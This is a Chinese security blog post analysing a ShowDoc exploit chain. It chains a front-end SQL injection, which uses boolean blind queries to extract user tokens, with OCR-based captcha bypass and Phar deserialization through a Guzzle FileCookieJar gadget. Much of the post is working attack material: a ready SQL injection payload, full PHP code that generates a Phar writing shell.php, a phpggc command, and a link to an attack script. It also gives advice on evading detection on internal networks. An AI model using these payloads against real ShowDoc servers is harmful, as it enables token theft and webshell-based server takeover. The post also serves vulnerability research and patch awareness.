ShowDoc SQL注入+反序列化漏洞分析

前言

脚本小子好久没写文章了,今天看到漏洞已经修复了,所以来分享一下有关于showdoc漏洞的分析。这个漏洞由两部分组成,前台的SQL注入+后台反序列化。

当时最早看到这个漏洞通报的时候,是这么描述的:

攻击者通过SQL注入漏洞获取到token进入后台。进入后台后可结合反序列化漏洞,写入WebShell,从而获取服务器权限。

脚本小子心里想着这个漏洞在内网可算是关键资产呀,拿到文档系统指不定里面有什么好东西呢。于是就马上定位到github中showdoc的commit,开始了他的代码审计之旅。

SQL注入

showdoc的传参逻辑

showdoc是基于ThinkPHP框架进行开发的,他对与传参有这几个方式,

$uid = I("uid/d");
$item_domain = I("item_domain/s");
$refer_url = I('refer_url');

那么有两个奇怪的点:

  1. 这个函数I是干什么的呢
  2. 有的参数后面写个/d ,有的写个/s 又是什么意思呢

那我们一个个来进行分析,首先第一个函数I ,我们跟进代码:server/ThinkPHP/Common/functions.php

可以发现这个函数就是用来获取我们网站请求的参数的,而且这里使用了strpos对传入的参数名进行了分割,把/后面的单词作为一个指定修饰符。

ShowDoc SQL注入+反序列化漏洞分析

让我们来跟进一下看看这个修饰符起了什么作用呢,继续更进到代码380行,可以看到这里对于修饰符进行了一个匹配,找到了对应了修饰符后,对传参的内容进行一次强制类型转换

ShowDoc SQL注入+反序列化漏洞分析

那么我们回到showdoc使用的这三类传参里看

$uid = I("uid/d"); ===> 传入的uid参数,强制转为int
$item_domain = I("item_domain/s"); ===> 传入的item_domain参数,强制转为string
$refer_url = I('refer_url'); ===> 传入的refer_url参数,强制转为string

showdoc的SQL执行逻辑

我们在搞清楚了他的传参逻辑后,我们再来看他的SQL执行逻辑。在showdoc中,所使用到的几种查询类型的SQL执行大概有这几种。

$item = D("Item")->where("item_id = '$item_id' ")->find();
$member = D("User")->where(" username = '%s' ", array($value))->find();

脚本小子一眼就关注到了,这第一种不就是做了SQL语句的拼接么,那是不是有注入漏洞呢,这里划重点。

第二种方式,他的where方法有两个参数,看上去是要把后面的字符串格式化到前面的占位符中。

那么究竟发生了什么,我们进入方法内查看调用:server/ThinkPHP/Library/Think/Model.class.php。

首先是会判断parser是否为null,也就是我们where方法的第二个参数,如果不为null,那么我们会进入判断,执行如下代码。

$parse = array_map(array($this->db, 'escapeString'), $parse);

然后再通过vsprintf将parse内容格式化进入where。

ShowDoc SQL注入+反序列化漏洞分析

那么脚本小子就有疑问了,这个array_map执行了一个什么呢?没错,就是对应DB的escapeString,在默认情况下,showdoc的数据库是Sqlite,那么定位到代码server/ThinkPHP/Library/Think/Db/Driver/Sqlite.class.php。他会将单引号转义成两个单引号,导致SQL语句无法进行注入。

ShowDoc SQL注入+反序列化漏洞分析

通过这个图片,就可以很清楚的看到,双写单引号后,注入就无效了。

ShowDoc SQL注入+反序列化漏洞分析

所以分析下来,通过第二种方式进行SQL执行,相当于在PHP的层面实现了一个模拟预编译。

那么第一种情况,是否任然存在注入呢?答案是肯定的,第一种方式确实存在SQL注入的风险,当我们调用where方法的时候,如果不传入第二个参数,他并不会对语句执行escapeString

但是这里有个非常重要的前提,就是我们拼接的这个参数,他不能是通过I("xxx/d")或其他的修饰符传入的,只能是I("xxx/s") 或者 I("xxx") 传入,否则将被强制类型转换清洗掉payload。

showdoc的权限鉴定逻辑

在我们寻找SQL注入点之前再提最后一点,我们需要的是前台的注入,通过注入user_token表获取用户token,并使用这个token进入后台。所以我们需要弄清楚他的权限鉴定是怎么做的。

在showdoc中,权限鉴定依靠的是一个checkLogin方法:

ShowDoc SQL注入+反序列化漏洞分析

他的定义如下,在server/Application/Api/Controller/BaseController.class.php中。

在默认情况下,当redirect为true的时候:

  • 如果存在session,那么正常返回。
  • 如果不存在session,那么就会进行权限鉴定。
    • 如果通过了权限鉴定,那么正常返回。
    • 如果没通过鉴定,那么判断redirect,若为true则exit,若为false,那么回到原函数继续程序执行。

ShowDoc SQL注入+反序列化漏洞分析

所以对于showdoc而言,无需鉴权的情况有三种:

  1. 路由函数里没有checkLogin()
  2. 路由函数里的是checkLogin(false)
  3. 目标代码放在checkLogin()函数执行之前。

SQL注入点的寻找

最后,我们在知道了上述的几个点以后,我们就可以开始在所有的路由里去寻找SQL注入的点了,需要满足下面几个情况:

  1. 路由里权限鉴定是checkLogin(false) 或者在查询之前都没有执行checkLogin()
  2. 参数传入为I("xxx/s") 或 I("xxx") ,修饰符为字符串类型,防止强制类型转换对payload的清洗。
  3. 参数是由拼接放入where方法的,只有这样才能保证payload不会进入预编译中被转义。

那么这里脚本小子就写了一个正则表达式:

I\("([^"/]+)(\/s)?"\)

意思是匹配I()函数里,要么为没有修饰符的纯字符,要么为带了/s修饰符的字符串,简图为:

ShowDoc SQL注入+反序列化漏洞分析

 

往PhoStrome里一搜,精准又优雅的筛选出了符合条件的传参函数。

ShowDoc SQL注入+反序列化漏洞分析

然后我们需要做的就是判断:

  1. 是否有权限
  2. 是否预编译

最后我们在server/Application/Api/Controller/ItemController.class.php中找到了注入点

ShowDoc SQL注入+反序列化漏洞分析

在这里,我们关注这个SQL执行后的判断条件,我们可以通过联合查询,把Item表的password所在的那一列的值,做一个布尔判断,如果判断为true,则返回1,所以此时我们的$item['password'] 就为1。他会与我们先前传入的password进行比较,我们把这个password的值传参为1,那么就可以进入判断条件,执行到sendResult。如果我们的布尔判断为false,即为0,那么与password的判断不符合,那么就会执行到sendError。通过这个逻辑,我们就可以构造联合查询,把我们所需要的布尔盲注判断放在Item表中的password字段,从而闭环一个布尔盲注。

$password = I("password");
...
$item = D("Item")->where("item_id = '$item_id' ")->find();
if ($password && $item['password'] == $password) {
    session("visit_item_" . $item_id, 1);
    $this->sendResult(array("refer_url" => base64_decode($refer_url)));
} else {
    $this->sendError(10010, L('access_password_are_incorrect'));
}

干说比较枯燥复杂,这里直接给大家payload

1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),1,1)='x',7,8,9,10,11,12--

ShowDoc SQL注入+反序列化漏洞分析

结合OCR进行SQL盲注脚本的构造

作为一个脚本小子,找到注入点肯定不满足,那必须得有一个一把嗦的脚本才行呀,毕竟作为一个安服仔,漏洞最后是要服务于项目的嘛,于是开始了注入脚本的构造。

脚本小子兴高采烈的开始写脚本的时候,遇到了他的滑铁卢,这里居然要校验图形验证码!

$captcha_id = I("captcha_id");
$captcha = I("captcha");
if (!D("Captcha")->check($captcha_id, $captcha)) {
    $this->sendError(10206, L('verification_code_are_incorrect'));
    return;
}

这里,脚本小子灵光一动,能不能使用OCR对图形验证码做一个识别,识别出来后通过captcha_id和captcha将验证码传入从而通过这里的判断呢?

这里给出两个方案:

  1. 使用本地OCR服务进行识别,推荐库为:https://github.com/sml2h3/ddddocr
  2. 使用ocr_api_server服务,推荐docker搭建:https://hub.docker.com/r/shanmite/ocr_api_server

至于选择什么方式,各位看自己遇到的环境按需使用就好。

这里我也给大家准备好了脚本,地址放在文末,有需要的师傅自取。

这里多说一点,由于是盲注配合上OCR,所以每次的错误尝试都需要一次或多次的OCR识别,所以整个注入下来,会请求非常多次的验证码。而showdoc这种文档类站点大多部署在内网。那么在代理的情况下传输这么大且频繁的数据,可能会导致代理的崩溃或者攻击行为的捕获。所以这里我有个小想法和大家分享一下,可行性大家自行斟酌。

showdoc的验证码有这样的特性,生成验证码和校验验证码是分开的。也就是说我可以先调用接口生成足够多的验证码后,把他的captcha_id和识别出来的captcha做成一个map,在盲注的时候直接传入captcha_id和captcha调用即可。

反序列化

反序列化触发点的寻找

那么SQL注入点已经找好了,脚本小子要开始寻找反序列化的漏洞点了,在showdoc3.2.5的commit中可以发现,他将这样的一个路由改成了private

ShowDoc SQL注入+反序列化漏洞分析

我们定位到函数:server/Application/Home/Controller/IndexController.class.php。脚本小子两年半的CTF基因跳动了起来,这里的fopen函数是可以触发SSRF漏洞的!而在PHP中,存在一个Phar协议,可以配合SSRF去触发反序列化。具体的原理可以参考这篇文章,本文就不过多解释了。

ShowDoc SQL注入+反序列化漏洞分析

文件上传路径的获取

Phar反序列化的点已经找到了,那么我们现在只需要找到一个能够文件上传的点就可以了,而在一个doc站中,文件上传的功能是必不可少的。但是showdoc在对于文件上传后的文件名,有点藏着掖着,你正常上传的文件,他会生成一个sign,再使用一个链接来间接获取。

/server/index.php?s=/api/attachment/visitFile&sign=9be3419f8e11aa97e21b21669fea3885

再通过sign去获取图片时,他把上传的文件路径给暴露出来了

ShowDoc SQL注入+反序列化漏洞分析

那么至此我们文件上传的这个点也打通了。

反序列化利用链的挖掘

最后,脚本小子已经困得睁不开眼睛了,我们只需要挖掘一条能够利用的反序列化利用链,就能够完成整个攻击链路了。

这里找了一下TP3.2.3的公开的利用链,并没有什么能够直接RCE的,所以我们把重点放在他的组件上。

ShowDoc SQL注入+反序列化漏洞分析

最后是找到guzzlehttp这个组件里的FileCookieJar,这个组件是一个反序列化利用链里的老演员了(挖出来后才知道phpggc已经整合了这条链)

这里的__destruct方法会触发save方法,save方法会读取$cookie属性,在执行了CookieJar::shouldPersist对$cookie内容的一些判断后,会执行file_put_contents将$cookie的值写入$filename中,而$filename可以在__construct方法中被初始化。

class FileCookieJar extends CookieJar
{
    private $filename;

    private $storeSessionCookies;

    public function __construct($cookieFile, $storeSessionCookies = false)
    {
        parent::__construct();
        $this->filename = $cookieFile;
        $this->storeSessionCookies = $storeSessionCookies;

        if (file_exists($cookieFile)) {
            $this->load($cookieFile);
        }
    }

    public function __destruct()
    {
        $this->save($this->filename);
    }

    public function save($filename)
    {
        $json = [];
        foreach ($this as $cookie) {
            /** @var SetCookie $cookie */
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = \GuzzleHttp\json_encode($json);
        if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

    public function load($filename)
    {
        $json = file_get_contents($filename);
        if (false === $json) {
            throw new \RuntimeException("Unable to load file {$filename}");
        } elseif ($json === '') {
            return;
        }

        $data = \GuzzleHttp\json_decode($json, true);
        if (is_array($data)) {
            foreach (json_decode($json, true) as $cookie) {
                $this->setCookie(new SetCookie($cookie));
            }
        } elseif (strlen($data)) {
            throw new \RuntimeException("Invalid cookie file: {$filename}");
        }
    }
}

那么我们只需要设定一个$cookie,里面写入我们的木马就好了,但是这个属性不在FileCookieJar中,而在他的父类CookieJar中。

所以我们最后构造POP链,将恶意的SetCookie对象赋值到CookieJar中,再让FileCookieJar继承,并在构造方法中设定好$filename就行了。

最后我们结合上Phar反序列化的生成,绕过一次图片验证,得到如下的poc:

<?php
namespace GuzzleHttp\Cookie{
    class SetCookie
    {
        private $data = [];
        public function __construct()
        {
            $this->data = array("Discard"=>false,"poc"=>'<?php echo \'success\';?>');
        }
    }

    class CookieJar
    {
        /** @var SetCookie[] Loaded cookie data */
        private $cookies = [];

        public function __construct()
        {
            $this->cookies = [new SetCookie()];
        }

    }

    class FileCookieJar extends CookieJar
    {
        /** @var string filename */
        private $filename;

        /** @var bool Control whether to persist session cookies or not. */
        private $storeSessionCookies;

        public function __construct($cookieFile, $storeSessionCookies = false)
        {
            parent::__construct();
            $this->filename = $cookieFile;
            $this->storeSessionCookies = $storeSessionCookies;

        }
    }
}

namespace {
    $exampleWithClosure = new GuzzleHttp\Cookie\FileCookieJar("/var/www/html/Public/Uploads/shell.php",true);
    $phar=new phar('phar.phar',0);
    $phar->startBuffering();
    $phar->setMetadata($exampleWithClosure);
    $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>');
    $phar->addFromString("test.txt","test");
    $phar->stopBuffering();
}

但是作为一个脚本小子,怎么能够使用这么麻烦的方法呢,使用工具phpggc一键生成Phar的payload!

./phpggc Guzzle/FW1 "/var/www/html/Public/Uploads/shell.php" ./shell.php -p phar -pp ./gif -o out.png

至此,漏洞分析已经完成~

结语

对于这个漏洞其实发生了一个小插曲,漏洞是在showdoc版本更新到3.2.5的时候被各大安全厂商通报的,当时所有厂商的修复建议都是把版本提升到最新版本3.2.5,但是当时的3.2.5版本只修复了home接口下的SSRF漏洞,并未修复SQL注入漏洞,所以当时我盯着3.2.5版本的commit修改的几个Controller咋看都没有注入点,后来找到这个漏洞的时候才发现最新版也是能打的,直到6月3号作者才修复上这个SQL注入漏洞,各位甲方爸爸可以放心在后台点击系统升级了。最后感谢Pupi1鸽鸽和书鱼哥哥对我的帮助。

Demo脚本

https://github.com/huamang/showdoc_poc

原文始发于先知社区(huamanggg):ShowDoc SQL注入+反序列化漏洞分析

版权声明:admin 发表于 2024年6月11日 上午9:42。
转载请注明:ShowDoc SQL注入+反序列化漏洞分析 | CTF导航

相关文章